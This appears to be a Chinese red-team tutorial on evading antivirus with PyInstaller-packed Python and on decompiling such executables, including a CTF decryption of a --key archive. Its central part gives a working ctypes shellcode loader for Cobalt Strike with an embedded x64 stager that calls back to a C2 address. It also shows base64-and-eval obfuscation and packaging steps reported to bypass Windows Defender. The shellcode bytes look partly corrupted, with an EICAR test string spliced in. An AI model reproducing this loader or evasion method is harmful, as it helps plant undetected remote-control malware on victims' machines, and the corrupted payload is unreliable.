pyinstaller打包exe免杀和逆向浅析

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本文首发于先知，免杀跨度时间长。全文：11720字，110图，阅读时间预计：30分钟。

https://xz.aliyun.com/t/10450

01 python3常见打包方法

说明：本文python为python3，打包的库为pyinstaller。

本文的测试时间跨度比较长，文中的方法可能早已失效，感谢大家理解。

在当前攻防演练中，很多情况下都需要自己动手做一些免杀，在这里本文就以有手就会的python语言为例，来一起学习下python免杀的那些事。

python3程序打包为exe文件，目前的主流方法大致分为以下几种：

其中，pyinstaller是可以将py文件直接打包为一个exe的，效果相对较好。另外两种打包的文件都很零碎。

众所周知，python打包的文件体积都比较大，而且很容易被杀软检测识别，甚至部分厂商会直接将Pyinstaller打包的任何文件直接拉黑报毒，所以在这里讨论下pyinstaller和py2exe来打包exe文件的情况。（本文中出现的测试仅针对本次测试，不代表其他场景的测试能力。）

02 文件打包测试

2.1 pyinstaller打包测试

2.1.1 简单的打印输出

这里面写一个脚本，就是一个简单的打印输出（测试时间：2021/05/02）：

# -*- encoding: utf-8 -*-
# Time : 2021/05/02 10:14:44
# Author: crow

import os
import time 

while 1:
    print('hello crow')
    time.sleep(2)

使用pyinstaller进行打包，pyinstaller安装只需要使用pip3 install pyinstaller就可以安装。

打包的时候只需要使用 pyinstaller -F 文件名.py 即可。

360本地扫描（机器联网，但未使用360云查杀, 测试时间：2021/05/02）

可正常运行。

火绒扫描（联网, 测试时间：2021/05/02）

windows defender 静态正常，双击可运行，但是会提示是否将文件上传到云端分析(测试时间：2021/05/02)：

上传virustotal后测试：（测试时间：2021/05/02）

https://www.virustotal.com/gui/file/c644369f2a8bca67d3a1fa755847a21a35d8339e186393cb4ca36b599c67ffbf/detection

查杀率 7/68 ，感觉非常的离谱，因为这仅仅是一个普通的打包文件而已。

2.1.2 文件处理操作

下面这个脚本主要是以前测试DLL劫持的时候，自己写的辅助脚本，内容大概就是对DLL文件后缀的进行判断，然后将DLL后缀的文件提取出来，再新建一个文件后将其保存下来。

# -*- encoding: utf-8 -*-
import re 
path = 'D_Safe_Manage.exe.txt'
new_path = path[:-4] + '_dll.txt'
# print(new_path[:-4])

dlls = []
with open(path, 'r') as f:
    for line in f.readlines():
        # print(line)
        dll_name = re.findall(r'C:\\Windows\\SysWOW64(.*?).dll', line)
        # print(dll_name)
        if dll_name != []:
            dll_names = 'C:\Windows\SysWOW64' + str(dll_name[0]) + '.dll'
            # print(dll_names)
            dlls.append(dll_names)

with open(new_path, 'w') as f:
    for dll in dlls:
        f.write(dll + '\n')
        

文件打包之后，360、火绒、Windows Defender均报毒。（测试时间：2021.04.29）

这里的360使用的是本地杀毒。

既然exe都被杀，那如果只是单单的py文件呢？

测试下：

火绒：

windows defender也没有报毒。

360对python脚本无感，火绒和df会对py有检测，那这说明可能pyinstaller打包之后的文件的一些特征触发了相关的检测规则，而且其特征已经被某些av纳入了病毒特征，就像易语言打包的exe程序都会被杀一样。

vt测试打包之后的exe文件：

https://www.virustotal.com/gui/file/0b418052f4ac12c80a7a6a140818d317513a5442fed700b4e67ebee58079f9b6/detection

报毒56/69，非常的离谱。。。。

2.2 py2exe打包测试

2.2.1 py2exe安装

直接使用 pip3 install py2exe  我的本地环境是python3 3.6.5 64位

2.2.2 py2exe打包测试

这时候对于一个普通的文件进行打包测试   test_py2.py（测试时间：2021/06/16 ）

这个脚本输出只是一个hello world

# -*- encoding: utf-8 -*-
# Time : 2021/04/29 09:17:37
# Author: crow


while True:
    print('hello world')

然后设置一个文件 setup.py

# -*- encoding:utf-8 -*-

from distutils.core import setup
import py2exe

INCLUDES = []

options = {
    "py2exe" :
        {
            "compressed" : 1, # 压缩   
            "optimize" : 2,
            "bundle_files" : 1, # 所有文件打包成一个 exe 文件  
            "includes" : INCLUDES,
            "dll_excludes" : ["MSVCR100.dll"]
        }
}


setup(
    options=options,    
    description = "this is a py2exe test",   
    zipfile=None,
    console = [{"script":'test_py2.py'}])

直接打包python setup_2.py py2exe

在dist文件夹下会生成一个test_py2.exe文件。

直接运行后只会输出一个hello world而已，在这里就不再本地进行查杀，直接上传vt进行测试：

VT查杀

https://www.virustotal.com/gui/file/84c6f02880ec8c959a5bf20e65ca69c1c293b4329c8206cf2f506b394342bfb8

查杀率 6/69，同样非常离谱。。。

由此可见，py2exe打包的exe文件同样也已经被标记，python打包免杀真的是穷途末路了。

2.3 打包文件总结

在py2exe打包之后的文件，并不是一个单纯的exe文件，不能像pyinstaller那样，直接一个exe完事，文件必须放在dist文件夹下，需要引入第三方的文件才可以执行。pyinstaller是比较好的首选方法，所以后续的研究将使用pyinstaller进行打包。

从第二节已经看出，无论是pyinstaller还是py2exe，在打包为exe的时候，都或多或少被一些杀软标记，但是这也并不代表python免杀无路可走，接下来我们用其他的思路来研究下使用pyinstaller打包免杀和pyinstaller打包的文件如何逆向。

本文不会对反序列化、分离免杀、加壳等手法进行讨论，在这里仅仅对最简单的shellcode加载方法进行分析，希望本文能够对师傅们有所帮助。

03 Pyinstaller -F参数反编译

注意：这里的exe文件反编译指的是对pyinstraller打包的文件进行反编译。

3.1  测试环境

操作系统：windows 10

python版本：python3.8.7

16进制编辑器：010 editor

exe反编译工具：pyinstxtractor.py

pyc反编译工具：uncompyle6

3.2  pyinstaller打包程序为exe

首先写一个简单的python3脚本

01_easy.py

# -*- encoding: utf-8 -*-
# Time : 2021/06/17 10:45:45
# Author: crow

import time 

while 1:
    print('hello world')
    time.sleep(1)

然后将该程序使用pyinstaller打包为exe文件

pyinstaller -F 01_easy.py

其中 参数 -F 是为了将程序打包为一个exe文件，而且不产生其他的文件

打包完成之后，本地会生成一个dist的文件夹，在这个文件夹里就有一个打包好的exe文件。

运行试试：

此时程序运行正常，解析来就是反编译了。

3.3 反编译_pyc

针对pyinstaller打包之后的exe反编译工具：pyinstxtractor.py

pyinstaller extractor是可以提取出pyinstaller所创建的exe文件为pyc格式。

下载链接：

https://sourceforge.net/projects/pyinstallerextractor/

将需要反编译的exe和pyinstxtractor.py放到同一个目录下直接运行

python pyinstxtractor.py 01_easy.exe

解密成功之后，会生成一个xxx.exe_extracted的文件夹。

3.4 pyc到源码

pyinstaller在打包的时候，会将pyc文件的前8个字节清除，所以后期需要自己添加上去，前四个字节为python编译的版本，后四个字节为时间戳。（四个字节的magic number、四个字节的timestamp）

所以在这里可以通过struct文件来获取其中的信息，再添加到01_easy文件里面去

因此这里将两个文件单独复制出来，通过16进制查看工具来查看下文件，Windows系统下可以使用winhex，mac系统下可以使用010 editor

通过对比可以发现，struct比01_easy多了8个字节（这里只是做了一个粗略的解释，具体的原因肯定不是看出来的，有兴趣的师傅可以翻下源码）。

因此这里可以将这些字节复制插入到01_easy中去。

在这里新建了一个文件，将两个进行结合：

再将文件保存为01_easy.pyc

得到pyc文件之后就比较容易后去源代码了，这里有两种方法，一个是在线反编译，另一种是使用uncompyle6

其中在线反编译地址为：https://tool.lu/pyc

在线反编译效果：

可以看到这个效果不是很好，有一部分代码并没有成功编译出来。

那试试uncompyle6，目前可以在python3上使用pip的方式进行安装pip3 install uncompyle6

然后直接使用命令uncompyle6 01_easy.pyc

可以将文件内容保存到一个文本中

uncompyle6 01_easy.pyc > 01_easy.py

打开之后：

此处得到源码。

04 -F --key参数反编译

在使用pyinstaller的时候，可以使用--key参数对生成的exe进行加密，在使用这个参数的时候需要pycrypto库，可以通过pip的方式进行安装，但是保不齐安装的时候会出现一些问题，这里就不再对此展开讲解，直接进行使用。

4.1 python版本的shellcode

什么是shellcode？

在攻击中，shellcode是一段用于利用软件漏洞的有效负载，shellcode是16进制的机器码，以其经常让攻击者获得shell而得名。shellcode常常使用机器语言编写。可在寄存器eip溢出后，放入一段可让CPU执行的shellcode机器码，让电脑可以执行攻击者的任意指令。（来源：百度百科）

下面的代码为最基础版本的shellcode，配合Cobalt Strike使用，可实现远控。

# -*- encoding: utf-8 -*-
# Time : 2021/04/29 11:19:04
# Author: crow


import ctypes
 
shellcode =  b""
shellcode += b"\x\"

 
shellcode = bytearray(shellcode)
# 设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
 
# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr), 
    buf, 
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.c_uint64(ptr), 
    ctypes.c_int(0), 
    ctypes.c_int(0), 
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

在这里直接使用以下参数进行加密混淆：

pyinstaller -F --key crow123321  --noconsole py_shellcode.py

其中--key之后的字符可以自定义。

4.2 --key参数反编译

同样的，将两个文件放在一起进行逆向得到pyc文件

python pyinstxtractor.py py_shellcode.exe

开始报错，但是依旧可以生成相应的文件夹：

这里使用同样的方法来对这两个文件进行测试，将新生成的文件保存为shellcode_key.pyc

uncompyle6 shellcode_key.pyc

将文件重定向到py文件里面去

打开之后发现，文件和未使用--key参数的效果基本没什么变化。

--key的参数针对的只是依赖库进行了加密而已。

05 正确使用 key参数

正确使用--key参数进行加密免杀（测试时间：2021.06.17）

总体上来讲，python打包的exe都是可以破解的，就算使用cython来写，依旧是可以破解的，只是时间问题而已，但是在这还是提出一些略微有效的方法（自欺欺人）。

5.1 不使用--key参数

将所有的代码进行封装为一个函数，在一个新的文件中引用，其中py_shellcode_fuzz.py里的文件内容不变，只不过将其封装为一个函数，test.py来调用这个函数

py_shellcode_fuzz.py：

# -*- encoding: utf-8 -*-
# Time : 2021/06/17 17:12:27
# Author: crow



import ctypes,base64
 

def shell():
    shellcode =  b""
    shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x66\x81\x78\x18\x0b\x02\x75\x72\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\d2\x4d\x31\xc0\x4d\x31\xc9\x41\x50\x41\x50\x41\xba\x3a\x56\x79\xa7\xff\xd5\xeb\x73\x5a\x48\x89\xc1\x41\xb8\x21\x03\x00\x00\x4d\x31\xc9\x41\x51\x41\x51\x6a\x03\x41\x51\x41\xba\x57\x89\x9f\xc6\xff\xd5\xeb\x59\x5b\x48\x89\xc1\x48\x31\xd2\x49\x89\xd8\x4d\x31\xc9\\x29\x37\x43\x43\x29\x37\x7d\x24\x45\x49\x43\x41\x52\x2d\x53\x54\x41\x4e\x44\x41\x52\x44\x2d\x41\x4e\x54\x49\x56\x49\x52\x55\x53\x2d\x54\x45\x53\x54\x2d\x46\x49\x4c\x45\x21\x24\x48\x2b\x48\x2a\x00\x35\x4f\x21\x50\x25\x40\x41\x50\x5b\x34\x5c\x50\x5a\x58\x35\x34\x28\x50\x5e\x29\x37\x43\x43\x00\x41\xbe\xf0\xb5\xa2\x56\xff\xd5\x48\x31\xc9\xba\x00\x00\x40\x00\x41\xb8\x00\x10\x00\x00\x41\xb9\x40\x00\x00\x00\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x93\x53\x53\x48\x89\xe7\x48\x89\xf1\x48\x89\xda\x41\xb8\x00\x20\x00\x00\x49\x89\xf9\x41\xba\x12\x96\x89\xe2\xff\xd5\x48\x83\xc4\x20\x85\xc0\x74\xb6\x66\x8b\x07\x48\x01\xc3\x85\xc0\x75\xd7\x58\x58\x58\x48\x05\x00\x00\x00\x00\x50\xc3\xe8\x9f\xfd\xff\xff\x31\x30\x2e\x32\x31\x31\x2e\x35\x35\x2e\x32\x00\x00\x00\x00\x00"


    
    shellcode = bytearray(shellcode)
    # 设置VirtualAlloc返回类型为ctypes.c_uint64
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    # 申请内存
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
    
    # 放入shellcode
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)


    string = """Y3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KGN0eXBlcy5jX3VpbnQ2NChwdHIpLCBidWYsIGN0eXBlcy5jX2ludChsZW4oc2hlbGxjb2RlKSkp"""
    eval(base64.b64decode(string))

    # 创建一个线程从shellcode防止位置首地址开始执行
    handle = ctypes.windll.kernel32.CreateThread(
        ctypes.c_int(0), 
        ctypes.c_int(0), 
        ctypes.c_uint64(ptr), 
        ctypes.c_int(0), 
        ctypes.c_int(0), 
        ctypes.pointer(ctypes.c_int(0))
    )
    # 等待上面创建的线程运行完
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

if __name__ == '__main__':
    shell()

test.py

# -*- encoding: utf-8 -*-
# Time : 2021/06/17 17:00:27
# Author: crow
import ctypes
from py_shellcode import shell 


if __name__ == '__main__':
    shell()

直接执行脚本：

python py_shellcode_fuzz.py

上线正常，使用test.py调用该文件

python test.py 上线正常

然后再对文件进行打包

首先使用pyinstaller直接打包

pyinstaller -F --noconsole test.py

直接在dist文件夹下尝试获取pyc文件

python pyinstxtractor.py test.exe

将这两个文件单独拿出来，重复同样的操作

uncompyle6 get.pyc

将文件保存起来

这里就无法找到py_shell_fuzz中的内容了，那文件到底在哪呢？

我们将反编译之后的PYZ-00.pyz_extracted文件夹找到了该pyc文件。

对该pyc文件直接进行解密

uncompyle6 py_shellcode_fuzz.pyc

报错，这里使用010 editor分析下pyc文件

通过与get.pyc对比发现，这里少了4个字节，因此需要对其进行补全：

将文件保存为new_py_shell.pyc

再对其进行解密

uncompyle6 new_py_shell.pyc

再将文件保存起来

uncompyle6  new_py_shell.pyc > new_shell.py

此时该文件被完全解密

此时将文件使用VT查杀测试

VT 查杀

https://www.virustotal.com/gui/file-analysis/MWM3N2M3NmExNjhlZmZkMDNmZDZkMTY2MzU1YWZjMzI6MTYyMzk0MTQwMQ==/detection

5.2 pyinstaller使用--key参数打包exe

在上文中pyinstaller中--key参数可以对依赖库进行了加密，因此在这里尝试使用--key参数重新打包一下：

pyinstaller -F --key crowcrow --noconsole test.py

直接在dist文件夹下尝试获取pyc文件

这里该失败的失败，该成功的成功！

同样的手法，对下面箭头的文件进行解密：

得到文件final.pyc

uncompyle6 final.pyc

这里和上面的也是一样的，显示从py_shellcode_fuzz中调用了shell函数。那就去同样的位置去找py_shellcode_fuzz.pyc文件。

但是这里可以看到py_shellcode_fuzz.pyc已经被加密变成了py_shellcode_fuzz.pyc.encrypted文件格式。

将该文件使用010 editor打开，通过对比发现，该文件已经被加密，无法使用uncompyle6对其进行解密，当然这个文件依旧可以解密，但是解密成本要高于目前的手法。

此时对原来的文件双击测试：

依旧可以上线（测试时间：2021.06.17）。

免杀效果：Windows defender可过。（测试时间：2021.06.17）

VT查杀：（测试时间：2021.06.17）

https://www.virustotal.com/gui/file/c2b081a565dbd4848eff43a9bae0da4da5cd8945f12b053470484cdb2df838fc/detection

2021.10.29查看：（免杀已g）

5.3 总结

从以上文章可以看出，将shellcode加载器写到一个文件中去，再使用另外一个脚本调用，在一定程度上可以免杀（随着时间推移，该方法逐渐失效），但是--key参数加密后的py_shellcode_fuzz.pyc.encrypted文件是无法解开的吗？

理论上讲，该文件可以理解为勒索病毒加密之后的文件，如果key足够复杂，在还原文件上还是非常有难度的，但是在pyinstaller的作者并非将该文件写死，该文件还是能够进行还原的。

06 加key参数逆向源码

在这里，以本人有幸在某比赛上出过两个简单的python逆向题目，其中一个就是需要选手对python打包的exe进行逆向，具体的过程如下：（赛题部分在这里不表，直接逆向）

6.1 背景介绍

在这里使用了一个用pyinstaller --key -F 参数打包的文件。

6.2  第一层解包拿key

使用pyinstxtractor.py进行逆向代码。

在这里可以看到好多的代码是被混淆了，无法直接解密。

在这个文件夹下可以看到带key的文件，使用notepad打开。

在这里的key是17位 000000guess_flag 其中N并不属于key值。

在这里使用脚本对加密的文件进行解密，如果是没使用key参数来搞的话，这个文件是未加密的。

使用脚本来解密。

#from key import key
import tinyaes
key = "000000guess_flag"
print (key)

f = open('./guess.pyc.encrypted', 'rb')

data = f.read()

cipher = tinyaes.AES(key.encode(), data[:16])
output = cipher.CTR_xcrypt_buffer(data[16:])

f.close()
import zlib
output = zlib.decompress(output)

f = open('./guess.pyc', 'wb')
f.write(output)

然后复制该文件和struct文件进行处理

复制struct文件的第一行，然后在复制guess_pyc文件的所有信息，到一个新建的文件中。

6.3 uncompyle6 逆向pyc文件

uncompyle6 reverse.pyc > code1013.py

 此时获得源代码。

07 总结

本文主要对pyinstaller打包的文件进行了超简单逆向分析，在这里也有一些免杀的小小的tips，其中也参考了诸多的资料，不乏有诸多错误，希望各位师傅能够批评指正。

08 参考资料​​​​​​​​​​​​​​

https://zhuanlan.zhihu.com/p/133303836https://blog.csdn.net/lzy98/article/details/83246281https://blog.csdn.net/qwemicheal/article/details/52864656https://s0uthwood.github.io/2021/06/22/CISCN-N-2021-RE-Writeup/

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